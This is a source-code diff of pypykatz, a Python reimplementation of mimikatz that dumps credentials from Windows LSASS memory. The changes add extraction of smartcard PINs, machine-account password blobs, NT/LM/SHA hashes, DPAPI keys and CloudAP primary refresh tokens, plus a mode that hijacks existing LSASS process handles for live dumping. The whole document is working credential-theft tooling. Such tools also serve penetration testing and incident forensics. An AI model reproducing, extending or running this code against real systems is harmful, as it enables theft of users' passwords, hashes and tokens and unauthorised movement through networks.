128 | 128 | template.signature = b'\x53\x8b\x18\x50\x56' |
131 | 131 | template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_60 |
132 | 132 | template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 |
133 | 133 | template.hash_password_struct = KERB_HASHPASSWORD_6 |
134 | template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_60 | |
134 | template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_60 | |
135 | 135 | |
136 | 136 | elif WindowsMinBuild.WIN_7.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: |
137 | 137 | template.signature = b'\x53\x8b\x18\x50\x56' |
140 | 140 | template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6 |
141 | 141 | template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 |
142 | 142 | template.hash_password_struct = KERB_HASHPASSWORD_6 |
143 | template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_60 | |
143 | template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_60 | |
144 | 144 | |
145 | 145 | elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsBuild.WIN_BLUE.value: |
146 | 146 | template.signature = b'\x57\x8b\x38\x50\x68' |
149 | 149 | template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6 |
150 | 150 | template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 |
151 | 151 | template.hash_password_struct = KERB_HASHPASSWORD_6 |
152 | template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_62 | |
152 | template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_62 | |
153 | 153 | |
154 | 154 | elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value: |
155 | 155 | template.signature = b'\x56\x8b\x30\x50\x57' |
158 | 158 | template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6 |
159 | 159 | template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 |
160 | 160 | template.hash_password_struct = KERB_HASHPASSWORD_6 |
161 | template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_62 | |
161 | template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_62 | |
162 | 162 | |
163 | 163 | ####DOUBLE CHECK THE STRUCTURES BELOW THIS LINE!!!! |
164 | 164 | #### kerbHelper[N] -> KerberosReferences... {-15,7}}, here N= 7 |
170 | 170 | template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6 |
171 | 171 | template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 |
172 | 172 | template.hash_password_struct = KERB_HASHPASSWORD_6 |
173 | template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_10 | |
173 | template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10 | |
174 | 174 | |
175 | 175 | |
176 | 176 | elif WindowsBuild.WIN_10_1511.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1903.value: |
180 | 180 | template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_10_1607 |
181 | 181 | template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 |
182 | 182 | template.hash_password_struct = KERB_HASHPASSWORD_6_1607 |
183 | template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_10 | |
183 | template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10 | |
184 | 184 | |
185 | 185 | |
186 | 186 | elif WindowsBuild.WIN_10_1903.value <= sysinfo.buildnumber: |
190 | 190 | template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_10_1607 |
191 | 191 | template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 |
192 | 192 | template.hash_password_struct = KERB_HASHPASSWORD_6_1607 |
193 | template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_10 | |
193 | template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10 | |
194 | 194 | |
195 | 195 | |
196 | 196 | else: |
205 | 205 | |
206 | 206 | |
207 | 207 | class KERB_SMARTCARD_CSP_INFO_5: |
208 | def __init__(self, reader): | |
209 | self.dwCspInfoLen = DWORD(reader).value | |
208 | def __init__(self, reader, size): | |
209 | pos = reader.tell() | |
210 | #self.dwCspInfoLen = DWORD(reader).value | |
210 | 211 | self.ContextInformation = PVOID(reader).value |
211 | 212 | self.nCardNameOffset = ULONG(reader).value |
212 | 213 | self.nReaderNameOffset = ULONG(reader).value |
213 | 214 | self.nContainerNameOffset = ULONG(reader).value |
214 | 215 | self.nCSPNameOffset = ULONG(reader).value |
215 | self.bBuffer = WCHAR(reader).value | |
216 | diff = reader.tell() - pos | |
217 | data = reader.read(size - diff + 4) | |
218 | self.bBuffer = io.BytesIO(data) | |
219 | ||
220 | def read_wcharnull(self, buffer, tpos): | |
221 | pos = buffer.tell() | |
222 | buffer.seek(tpos, 0) | |
223 | data = b'' | |
224 | i=0 | |
225 | nc = 0 | |
226 | while i < 255: | |
227 | if nc == 3: | |
228 | break | |
229 | c = buffer.read(1) | |
230 | if c == b'\x00': | |
231 | nc += 1 | |
232 | else: | |
233 | nc = 0 | |
234 | data += c | |
235 | i += 1 | |
236 | buffer.seek(pos, 0) | |
237 | return data.decode('utf-16-le').replace('\x00', '') | |
238 | ||
239 | def get_infos(self): | |
240 | t = {} | |
241 | t['CardName'] = self.read_wcharnull(self.bBuffer, self.nCardNameOffset) | |
242 | t['ReaderName'] = self.read_wcharnull(self.bBuffer, self.nReaderNameOffset) | |
243 | t['ContainerName'] = self.read_wcharnull(self.bBuffer, self.nContainerNameOffset) | |
244 | t['CSPName'] = self.read_wcharnull(self.bBuffer, self.nCSPNameOffset) | |
245 | ||
246 | return t | |
216 | 247 | |
217 | 248 | class PKERB_SMARTCARD_CSP_INFO(POINTER): |
218 | 249 | def __init__(self, reader): |
220 | 251 | |
221 | 252 | |
222 | 253 | class KERB_SMARTCARD_CSP_INFO: |
223 | def __init__(self, reader): | |
224 | self.dwCspInfoLen = DWORD(reader).value | |
254 | def __init__(self, reader, size): | |
255 | pos = reader.tell() | |
256 | #self.dwCspInfoLen = DWORD(reader).value | |
225 | 257 | self.MessageType = DWORD(reader).value |
226 | 258 | self.ContextInformation = PVOID(reader).value #U |
227 | 259 | self.SpaceHolderForWow64 = ULONG64(reader).value #U |
228 | 260 | self.flags = DWORD(reader).value |
229 | 261 | self.KeySpec = DWORD(reader).value |
230 | self.nCardNameOffset = ULONG(reader).value | |
231 | self.nReaderNameOffset = ULONG(reader).value | |
232 | self.nContainerNameOffset = ULONG(reader).value | |
233 | self.nCSPNameOffset = ULONG(reader).value | |
234 | self.bBuffer[ANYSIZE_ARRAY] = WCHAR(reader).value | |
262 | self.nCardNameOffset = ULONG(reader).value * 2 | |
263 | self.nReaderNameOffset = ULONG(reader).value * 2 | |
264 | self.nContainerNameOffset = ULONG(reader).value * 2 | |
265 | self.nCSPNameOffset = ULONG(reader).value * 2 | |
266 | diff = reader.tell() - pos | |
267 | data = reader.read(size - diff + 4) | |
268 | self.bBuffer = io.BytesIO(data) | |
269 | ||
270 | def read_wcharnull(self, buffer, tpos): | |
271 | pos = buffer.tell() | |
272 | buffer.seek(tpos, 0) | |
273 | data = b'' | |
274 | i=0 | |
275 | nc = 0 | |
276 | while i < 255: | |
277 | if nc == 3: | |
278 | break | |
279 | c = buffer.read(1) | |
280 | if c == b'\x00': | |
281 | nc += 1 | |
282 | else: | |
283 | nc = 0 | |
284 | data += c | |
285 | i += 1 | |
286 | buffer.seek(pos, 0) | |
287 | return data.decode('utf-16-le').replace('\x00', '') | |
288 | ||
289 | def get_infos(self): | |
290 | t = {} | |
291 | t['CardName'] = self.read_wcharnull(self.bBuffer, self.nCardNameOffset) | |
292 | t['ReaderName'] = self.read_wcharnull(self.bBuffer, self.nReaderNameOffset) | |
293 | t['ContainerName'] = self.read_wcharnull(self.bBuffer, self.nContainerNameOffset) | |
294 | t['CSPName'] = self.read_wcharnull(self.bBuffer, self.nCSPNameOffset) | |
295 | ||
296 | return t | |
235 | 297 | |
236 | 298 | class PKIWI_KERBEROS_CSP_INFOS_5(POINTER): |
237 | 299 | def __init__(self, reader): |
240 | 302 | class KIWI_KERBEROS_CSP_INFOS_5: |
241 | 303 | def __init__(self, reader): |
242 | 304 | self.PinCode = LSA_UNICODE_STRING(reader) |
243 | self.unk0 = PVOID(reader).value | |
244 | self.unk1 = PVOID(reader).value | |
245 | self.CertificateInfos = PVOID(reader).value | |
246 | self.unkData = PVOID(reader).value # // 0 = CspData | |
305 | self.unk0 = PVOID(reader) | |
306 | self.unk1 = PVOID(reader) | |
307 | self.CertificateInfos = PVOID(reader) | |
308 | self.unkData = PVOID(reader) # // 0 = CspData | |
247 | 309 | self.Flags = DWORD(reader).value # // 1 = CspData (not 0x21)(reader).value |
248 | 310 | self.CspDataLength = DWORD(reader).value |
249 | self.CspData = KERB_SMARTCARD_CSP_INFO_5(reader).value | |
311 | self.CspData = KERB_SMARTCARD_CSP_INFO_5(reader, size = self.CspDataLength) | |
250 | 312 | |
251 | 313 | class PKIWI_KERBEROS_CSP_INFOS_60(POINTER): |
252 | 314 | def __init__(self, reader): |
263 | 325 | self.Flags = DWORD(reader).value #// 0 = CspData(reader).value |
264 | 326 | self.unkFlags = DWORD(reader).value #// 0x141(reader).value |
265 | 327 | self.CspDataLength = DWORD(reader).value |
266 | self.CspData = KERB_SMARTCARD_CSP_INFO(reader).value | |
328 | self.CspData = KERB_SMARTCARD_CSP_INFO(reader, size = self.CspDataLength) | |
267 | 329 | |
268 | 330 | class PKIWI_KERBEROS_CSP_INFOS_62(POINTER): |
269 | 331 | def __init__(self, reader): |
281 | 343 | self.Flags = DWORD(reader).value #// 0 = CspData(reader).value |
282 | 344 | self.unkFlags = DWORD(reader).value #// 0x141 (not 0x61) |
283 | 345 | self.CspDataLength = DWORD(reader).value |
284 | self.CspData = KERB_SMARTCARD_CSP_INFO(reader).value | |
346 | self.CspData = KERB_SMARTCARD_CSP_INFO(reader, size = self.CspDataLength) | |
285 | 347 | |
286 | 348 | class PKIWI_KERBEROS_CSP_INFOS_10(POINTER): |
287 | 349 | def __init__(self, reader): |
299 | 361 | self.unkFlags = DWORD(reader).value #// 0x141 (not 0x61)(reader).value |
300 | 362 | self.unk3 = PVOID(reader).value |
301 | 363 | self.CspDataLength = DWORD(reader).value |
302 | self.CspData = KERB_SMARTCARD_CSP_INFO(reader).value | |
364 | self.CspData = KERB_SMARTCARD_CSP_INFO(reader, size = self.CspDataLength) | |
303 | 365 | |
304 | 366 | class PKIWI_KERBEROS_LOGON_SESSION_51(POINTER): |
305 | 367 | def __init__(self, reader): |
340 | 402 | self.Tickets_1 = LIST_ENTRY(reader) |
341 | 403 | self.Tickets_2 = LIST_ENTRY(reader) |
342 | 404 | self.Tickets_3 = LIST_ENTRY(reader) |
343 | self.SmartcardInfos = PVOID(reader).value | |
405 | self.SmartcardInfos = PVOID(reader) | |
344 | 406 | |
345 | 407 | |
346 | 408 | class PKIWI_KERBEROS_LOGON_SESSION(POINTER): |
386 | 448 | self.unk25 = FILETIME(reader).value |
387 | 449 | self.Tickets_3 = LIST_ENTRY(reader) |
388 | 450 | self.unk26 = FILETIME(reader).value |
389 | self.SmartcardInfos = PVOID(reader).value | |
451 | self.SmartcardInfos = PVOID(reader) | |
390 | 452 | |
391 | 453 | class PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL(POINTER): |
392 | 454 | def __init__(self, reader): |
457 | 519 | self.unk28 = FILETIME(reader).value |
458 | 520 | self.Tickets_3 = LIST_ENTRY(reader) |
459 | 521 | self.unk29 = FILETIME(reader).value |
460 | self.SmartcardInfos = PVOID(reader).value | |
522 | self.SmartcardInfos = PVOID(reader) | |
461 | 523 | |
462 | 524 | class KIWI_KERBEROS_LOGON_SESSION_10: |
463 | 525 | def __init__(self, reader): |
501 | 563 | self.unk28 = FILETIME(reader).value |
502 | 564 | self.Tickets_3 = LIST_ENTRY(reader) |
503 | 565 | self.unk29 = FILETIME(reader).value |
504 | self.SmartcardInfos = PVOID(reader).value | |
566 | self.SmartcardInfos = PVOID(reader) | |
505 | 567 | |
506 | 568 | class PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO(POINTER): |
507 | 569 | def __init__(self, reader): |
580 | 642 | self.unk28 = FILETIME(reader).value |
581 | 643 | self.Tickets_3 = LIST_ENTRY(reader) |
582 | 644 | self.unk29 = FILETIME(reader).value |
583 | self.SmartcardInfos = PVOID(reader).value | |
645 | self.SmartcardInfos = PVOID(reader) | |
584 | 646 | |
585 | 647 | |
586 | 648 | class KIWI_KERBEROS_LOGON_SESSION_10_1607_X86: |
632 | 694 | self.unk28 = FILETIME(reader).value |
633 | 695 | self.Tickets_3 = LIST_ENTRY(reader) |
634 | 696 | self.unk29 = FILETIME(reader).value |
635 | self.SmartcardInfos = PVOID(reader).value | |
697 | self.SmartcardInfos = PVOID(reader) | |
636 | 698 | |
637 | 699 | class PKIWI_KERBEROS_INTERNAL_TICKET_51(POINTER): |
638 | 700 | def __init__(self, reader): |
54 | 54 | c.domainname = suppCreds.credentials.Domaine.read_string(self.reader) |
55 | 55 | if suppCreds.credentials.Password.Length != 0: |
56 | 56 | enc_data = suppCreds.credentials.Password.read_maxdata(self.reader) |
57 | c.password = self.decrypt_password(enc_data) | |
57 | if c.username.endswith('$') is True: | |
58 | c.password = self.decrypt_password(enc_data, bytes_expected=True) | |
59 | if c.password is not None: | |
60 | c.password = c.password.hex() | |
61 | else: | |
62 | c.password = self.decrypt_password(enc_data) | |
58 | 63 | |
59 | 64 | self.credentials.append(c) |
60 | 65 |
4 | 4 | # |
5 | 5 | import io |
6 | 6 | import json |
7 | import base64 | |
7 | 8 | from pypykatz.commons.common import WindowsMinBuild, KatzSystemArchitecture, GenericReader, UniversalEncoder, hexdump |
8 | 9 | from pypykatz.commons.filetime import filetime_to_dt |
9 | 10 | #from pypykatz.commons.win_datatypes import * |
18 | 19 | self.NThash = None |
19 | 20 | self.LMHash = None |
20 | 21 | self.SHAHash = None |
22 | self.DPAPI = None | |
23 | self.isoProt = None | |
21 | 24 | |
22 | 25 | |
23 | 26 | def to_dict(self): |
27 | 30 | t['NThash'] = self.NThash |
28 | 31 | t['LMHash'] = self.LMHash |
29 | 32 | t['SHAHash'] = self.SHAHash |
33 | t['DPAPI'] = self.DPAPI | |
30 | 34 | return t |
31 | 35 | |
32 | 36 | def to_json(self): |
39 | 43 | t += '\t\tLM: %s\n' % (self.LMHash.hex() if self.LMHash else 'NA') |
40 | 44 | t += '\t\tNT: %s\n' % (self.NThash.hex() if self.NThash else 'NA') |
41 | 45 | t += '\t\tSHA1: %s\n' % (self.SHAHash.hex() if self.SHAHash else 'NA') |
46 | t += '\t\tDPAPI: %s\n' % (self.DPAPI.hex() if self.DPAPI else 'NA') | |
42 | 47 | return t |
43 | 48 | |
44 | 49 | class CredmanCredential: |
91 | 96 | self.kerberos_creds = [] |
92 | 97 | self.credman_creds = [] |
93 | 98 | self.tspkg_creds = [] |
99 | self.cloudap_creds = [] | |
94 | 100 | |
95 | 101 | @staticmethod |
96 | 102 | def parse(entry, reader): |
232 | 238 | '' |
233 | 239 | ] |
234 | 240 | |
235 | for package in [self.wdigest_creds, self.ssp_creds, self.livessp_creds, self.kerberos_creds, self.credman_creds, self.tspkg_creds]: | |
241 | for package in [self.wdigest_creds, self.ssp_creds, self.livessp_creds, self.credman_creds, self.tspkg_creds]: | |
236 | 242 | for cred in package: |
237 | 243 | t = cred.to_dict() |
238 | 244 | if t['password'] is not None: |
239 | 245 | yield [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', '', str(t['password'])] |
240 | 246 | |
247 | for cred in self.kerberos_creds: | |
248 | t = cred.to_dict() | |
249 | if t['password'] is not None or t['pin'] is not None: | |
250 | pin = '' | |
251 | if t['pin'] is not None: | |
252 | pin = '[PIN]%s' % t['pin'] | |
253 | yield [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', '', pin] | |
254 | if t['password'] is not None: | |
255 | yield [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', '', str(t['password'])] | |
256 | ||
241 | 257 | for cred in self.dpapi_creds: |
242 | 258 | t = cred.to_dict() |
243 | 259 | yield [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), ''] |
260 | ||
261 | for cred in self.cloudap_creds: | |
262 | t = cred.to_dict() | |
263 | #print(t) | |
264 | yield [str(t['credtype']), '', '', '', '', '', str(t['dpapi_key']), str(t['dpapi_key_sha1']), str(t['key_guid']), base64.b64encode(str(t['PRT']).encode()).decode()] | |
265 | ||
244 | 266 | |
245 | 267 | |
246 | 268 | |
308 | 330 | |
309 | 331 | if credman_credential_entry.cbEncPassword and credman_credential_entry.cbEncPassword != 0: |
310 | 332 | enc_data = credman_credential_entry.encPassword.read_raw(self.reader, credman_credential_entry.cbEncPassword) |
311 | c.password = self.decrypt_password(enc_data) | |
333 | if c.username.endswith('$') is True: | |
334 | c.password = self.decrypt_password(enc_data, bytes_expected=True) | |
335 | if c.password is not None: | |
336 | c.password = c.password.hex() | |
337 | else: | |
338 | c.password = self.decrypt_password(enc_data) | |
312 | 339 | |
313 | 340 | c.luid = self.current_logonsession.luid |
314 | 341 | |
346 | 373 | cred.domainname = creds_struct.LogonDomainName.read_string(struct_reader) |
347 | 374 | except Exception as e: |
348 | 375 | self.log('Failed to get domainname, reason : %s' % str(e)) |
349 | ||
376 | ||
377 | ||
378 | if hasattr(creds_struct, 'DPAPIProtected') and creds_struct.DPAPIProtected != b'\x00'*16: | |
379 | cred.DPAPI = creds_struct.DPAPIProtected | |
380 | ||
381 | if hasattr(creds_struct, 'isIso'): | |
382 | cred.isoProt = bool(creds_struct.isIso[0]) | |
383 | # | |
384 | # if cred.isoProt is True: | |
385 | # cred.NThash = None | |
386 | # cred.LMHash = None | |
387 | # cred.SHAHash = None | |
388 | # | |
389 | #else: | |
390 | # cred.NThash = creds_struct.NtOwfPassword | |
391 | # | |
392 | # if creds_struct.LmOwfPassword and creds_struct.LmOwfPassword != b'\x00'*16: | |
393 | # cred.LMHash = creds_struct.LmOwfPassword | |
394 | # cred.SHAHash = creds_struct.ShaOwPassword | |
395 | ||
350 | 396 | cred.NThash = creds_struct.NtOwfPassword |
351 | ||
397 | ||
352 | 398 | if creds_struct.LmOwfPassword and creds_struct.LmOwfPassword != b'\x00'*16: |
353 | 399 | cred.LMHash = creds_struct.LmOwfPassword |
354 | cred.SHAHash = creds_struct.ShaOwPassword | |
400 | cred.SHAHash = creds_struct.ShaOwPassword | |
355 | 401 | |
356 | 402 | self.current_logonsession.msv_creds.append(cred) |
357 | 403 | |
372 | 418 | continue |
373 | 419 | |
374 | 420 | self.walk_list(entry_ptr, self.add_entry) |
421 | ||
422 | #self.brute_test() | |
423 | ||
424 | #def brute_test(self): | |
425 | # from pypykatz.commons.win_datatypes import LUID | |
426 | # luid_int = 1138792 | |
427 | # luid_bytes = luid_int.to_bytes(8, byteorder='little', signed=False) | |
428 | # needle_luid = LUID(io.BytesIO(luid_bytes)).value | |
429 | # offset = 0x70 | |
430 | # | |
431 | # for luid_pos in self.reader.find_all_global(luid_bytes): | |
432 | # self.reader.move(luid_pos - offset) | |
433 | # et = self.decryptor_template.list_entry(self.reader).finaltype | |
434 | # self.reader.move(luid_pos - offset) | |
435 | # test_ptr = et(self.reader) | |
436 | # if test_ptr.LocallyUniqueIdentifier == needle_luid: | |
437 | # print('HIT!') | |
438 | # entry_ptr = self.decryptor_template.list_entry(self.reader) | |
439 | # try: | |
440 | # self.walk_list(test_ptr.Flink, self.add_entry) | |
441 | # except Exception as e: | |
442 | # print('ERR! %s' % e)⏎ |
49 | 49 | def add_entry(self, ssp_entry): |
50 | 50 | c = SspCredential() |
51 | 51 | c.luid = ssp_entry.LogonId |
52 | c.username = ssp_entry.credentials.UserName.read_string(self.reader) | |
53 | c.domainname = ssp_entry.credentials.Domaine.read_string(self.reader) | |
52 | c.username = ssp_entry.credentials.Domaine.read_string(self.reader) | |
53 | c.domainname = ssp_entry.credentials.UserName.read_string(self.reader) | |
54 | 54 | if ssp_entry.credentials.Password.Length != 0: |
55 | c.password = self.decrypt_password(ssp_entry.credentials.Password.read_maxdata(self.reader)) | |
56 | ||
55 | if c.username.endswith('$') is True or c.domainname.endswith('$') is True: | |
56 | c.password = self.decrypt_password(ssp_entry.credentials.Password.read_data(self.reader), bytes_expected=True) | |
57 | if c.password is not None: | |
58 | c.password = c.password.hex() | |
59 | else: | |
60 | c.password = self.decrypt_password(ssp_entry.credentials.Password.read_data(self.reader)) | |
61 | ||
62 | if c.username == '' and c.domainname == '' and c.password is None: | |
63 | return | |
64 | ||
57 | 65 | self.credentials.append(c) |
58 | 66 | |
59 | 67 | def start(self): |
80 | 80 | |
81 | 81 | if primary_credential.credentials.Password.Length != 0: |
82 | 82 | enc_data = primary_credential.credentials.Password.read_maxdata(self.reader) |
83 | c.password = self.decrypt_password(enc_data) | |
83 | if c.username.endswith('$') is True: | |
84 | c.password = self.decrypt_password(enc_data, bytes_expected=True) | |
85 | if c.password is not None: | |
86 | c.password = c.password.hex() | |
87 | else: | |
88 | c.password = self.decrypt_password(enc_data) | |
84 | 89 | |
85 | 90 | self.credentials.append(c)⏎ |
63 | 63 | wc.username = UserName.read_string(self.reader) |
64 | 64 | wc.domainname = DomainName.read_string(self.reader) |
65 | 65 | wc.encrypted_password = Password.read_maxdata(self.reader) |
66 | wc.password = self.decrypt_password(wc.encrypted_password) | |
66 | if wc.username.endswith('$') is True: | |
67 | wc.password = self.decrypt_password(wc.encrypted_password, bytes_expected=True) | |
68 | if wc.password is not None: | |
69 | wc.password = wc.password.hex() | |
70 | else: | |
71 | wc.password = self.decrypt_password(wc.encrypted_password) | |
67 | 72 | |
73 | if wc.username == '' and wc.domainname == '' and wc.password is None: | |
74 | return | |
68 | 75 | |
69 | 76 | self.credentials.append(wc) |
70 | 77 |
5 | 5 | |
6 | 6 | import platform |
7 | 7 | import json |
8 | import traceback | |
9 | import base64 | |
8 | 10 | |
9 | 11 | from pypykatz.commons.common import KatzSystemInfo |
10 | 12 | from pypykatz.lsadecryptor import CredmanTemplate, MsvTemplate, \ |
11 | 13 | MsvDecryptor, WdigestTemplate, LsaTemplate, WdigestDecryptor, \ |
12 | 14 | LiveSspTemplate, LiveSspDecryptor, SspDecryptor, SspTemplate, \ |
13 | 15 | TspkgDecryptor, TspkgTemplate, KerberosTemplate, KerberosDecryptor, \ |
14 | DpapiTemplate, DpapiDecryptor, LsaDecryptor | |
15 | ||
16 | DpapiTemplate, DpapiDecryptor, LsaDecryptor,CloudapTemplate,\ | |
17 | CloudapDecryptor | |
18 | ||
19 | from pypykatz.lsadecryptor.packages.msv.decryptor import LogonSession | |
16 | 20 | from pypykatz import logger |
17 | 21 | from pypykatz.commons.common import UniversalEncoder |
18 | 22 | from minidump.minidumpfile import MinidumpFile |
31 | 35 | |
32 | 36 | self.logon_sessions = {} |
33 | 37 | self.orphaned_creds = [] |
38 | self.errors = [] | |
34 | 39 | self.kerberos_ccache = CCACHE() |
35 | 40 | |
36 | 41 | def to_dict(self): |
42 | 47 | t['orphaned_creds'] = [] |
43 | 48 | for oc in self.orphaned_creds: |
44 | 49 | t['orphaned_creds'].append(oc.to_dict()) |
50 | ||
51 | t['errors'] = [] | |
52 | for pkg, err in self.errors: | |
53 | err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__)) | |
54 | err_str = base64.b64encode(err_str.encode()).decode() | |
55 | t['errors'].append((pkg,err_str)) | |
56 | ||
45 | 57 | return t |
46 | 58 | |
47 | 59 | def to_json(self): |
48 | return json.dumps(self.to_dict(), cls = UniversalEncoder) | |
49 | ||
50 | @staticmethod | |
51 | def go_live(): | |
60 | return json.dumps(self.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True) | |
61 | ||
62 | def to_grep(self): | |
63 | res = ':'.join(LogonSession.grep_header) + '\r\n' | |
64 | for luid in self.logon_sessions: | |
65 | for row in self.logon_sessions[luid].to_grep_rows(): | |
66 | res += ':'.join(row) + '\r\n' | |
67 | for cred in self.orphaned_creds: | |
68 | t = cred.to_dict() | |
69 | if t['credtype'] != 'dpapi': | |
70 | if t['password'] is not None: | |
71 | x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])] | |
72 | res += ':'.join(x) + '\r\n' | |
73 | else: | |
74 | t = cred.to_dict() | |
75 | x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), ''] | |
76 | res += ':'.join(x) + '\r\n' | |
77 | for pkg, err in self.errors: | |
78 | err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__)) | |
79 | err_str = base64.b64encode(err_str.encode()).decode() | |
80 | x = [pkg+'_exception_please_report', '', '', '', '', '', '', '', err_str] | |
81 | res += ':'.join(x) + '\r\n' | |
82 | ||
83 | ||
84 | return res | |
85 | ||
86 | def __str__(self): | |
87 | res = '== Logon credentials ==\r\n' | |
88 | for luid in self.logon_sessions: | |
89 | res += str(self.logon_sessions[luid]) + '\r\n' | |
90 | ||
91 | if len(self.orphaned_creds) > 0: | |
92 | res += '== Orphaned credentials ==\r\n' | |
93 | for cred in self.orphaned_creds: | |
94 | res += str(cred) + '\r\n' | |
95 | ||
96 | return res | |
97 | ||
98 | @staticmethod | |
99 | def go_live(packages = ['all']): | |
52 | 100 | if platform.system() != 'Windows': |
53 | 101 | raise Exception('Live parsing will only work on Windows') |
54 | 102 | from pypykatz.commons.readers.local.live_reader import LiveReader |
55 | 103 | reader = LiveReader() |
56 | 104 | sysinfo = KatzSystemInfo.from_live_reader(reader) |
57 | 105 | mimi = pypykatz(reader.get_buffered_reader(), sysinfo) |
58 | mimi.start() | |
59 | return mimi | |
60 | ||
61 | @staticmethod | |
62 | def parse_minidump_file(filename): | |
106 | mimi.start(packages) | |
107 | return mimi | |
108 | ||
109 | @staticmethod | |
110 | def go_handledup(packages = ['all']): | |
111 | if platform.system() != 'Windows': | |
112 | raise Exception('Live parsing will only work on Windows') | |
113 | from pypykatz.commons.winapi.local.function_defs.live_reader_ctypes import enum_lsass_handles | |
114 | lsass_handles = enum_lsass_handles() | |
115 | if len(lsass_handles) == 0: | |
116 | raise Exception('No handles found to LSASS!') | |
117 | for pid, lsass_handle in lsass_handles: | |
118 | try: | |
119 | return pypykatz.go_live_phandle(lsass_handle, packages = ['all']) | |
120 | except Exception as e: | |
121 | print('[-] Failed to parse lsass via handle %s[@%s] Reason: %s' % (pid, lsass_handle, e)) | |
122 | ||
123 | @staticmethod | |
124 | def go_live_phandle(lsass_process_handle, packages = ['all']): | |
125 | if platform.system() != 'Windows': | |
126 | raise Exception('Live parsing will only work on Windows') | |
127 | from pypykatz.commons.readers.local.live_reader import LiveReader | |
128 | reader = LiveReader(lsass_process_handle=lsass_process_handle) | |
129 | sysinfo = KatzSystemInfo.from_live_reader(reader) | |
130 | mimi = pypykatz(reader.get_buffered_reader(), sysinfo) | |
131 | mimi.start(packages) | |
132 | return mimi | |
133 | ||
134 | @staticmethod | |
135 | def parse_minidump_file(filename, packages = ['all'], chunksize = 10*1024): | |
63 | 136 | try: |
64 | 137 | minidump = MinidumpFile.parse(filename) |
65 | reader = minidump.get_reader().get_buffered_reader() | |
138 | reader = minidump.get_reader().get_buffered_reader(segment_chunk_size=chunksize) | |
66 | 139 | sysinfo = KatzSystemInfo.from_minidump(minidump) |
67 | 140 | except Exception as e: |
68 | 141 | logger.exception('Minidump parsing error!') |
69 | 142 | raise e |
70 | 143 | try: |
71 | 144 | mimi = pypykatz(reader, sysinfo) |
72 | mimi.start() | |
145 | mimi.start(packages) | |
73 | 146 | except Exception as e: |
74 | 147 | #logger.info('Credentials parsing error!') |
75 | 148 | mimi.log_basic_info() |
77 | 150 | return mimi |
78 | 151 | |
79 | 152 | @staticmethod |
80 | def parse_minidump_bytes(data): | |
153 | def parse_minidump_bytes(data, packages = ['all']): | |
81 | 154 | """ |
82 | 155 | Parses LSASS minidump file bytes. |
83 | 156 | data needs to be bytearray |
86 | 159 | reader = minidump.get_reader().get_buffered_reader() |
87 | 160 | sysinfo = KatzSystemInfo.from_minidump(minidump) |
88 | 161 | mimi = pypykatz(reader, sysinfo) |
89 | mimi.start() | |
90 | return mimi | |
91 | ||
92 | @staticmethod | |
93 | def parse_minidump_external(handle): | |
162 | mimi.start(packages) | |
163 | return mimi | |
164 | ||
165 | @staticmethod | |
166 | def parse_minidump_external(handle, packages = ['all'], chunksize = 10*1024): | |
94 | 167 | """ |
95 | 168 | Parses LSASS minidump file based on the file object. |
96 | 169 | File object can really be any object as longs as |
100 | 173 | handle: file like object |
101 | 174 | """ |
102 | 175 | minidump = MinidumpFile.parse_external(handle) |
103 | reader = minidump.get_reader().get_buffered_reader() | |
176 | reader = minidump.get_reader().get_buffered_reader(segment_chunk_size = chunksize) | |
104 | 177 | sysinfo = KatzSystemInfo.from_minidump(minidump) |
105 | 178 | mimi = pypykatz(reader, sysinfo) |
106 | mimi.start() | |
107 | return mimi | |
108 | ||
109 | @staticmethod | |
110 | def parse_minidump_buffer(buff): | |
179 | mimi.start(packages) | |
180 | return mimi | |
181 | ||
182 | @staticmethod | |
183 | def parse_minidump_buffer(buff, packages = ['all']): | |
111 | 184 | """ |
112 | 185 | Parses LSASS minidump file which contents are in a bytes buffer |
113 | 186 | buff: io.BytesIO object |
116 | 189 | reader = minidump.get_reader().get_buffered_reader() |
